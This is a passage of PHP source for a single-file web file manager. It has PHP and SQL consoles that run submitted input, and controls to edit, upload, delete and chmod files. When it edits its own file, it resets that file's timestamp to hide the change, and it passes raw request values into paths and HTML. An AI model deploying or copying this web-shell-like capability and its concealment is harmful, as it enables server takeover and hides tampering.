Q0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
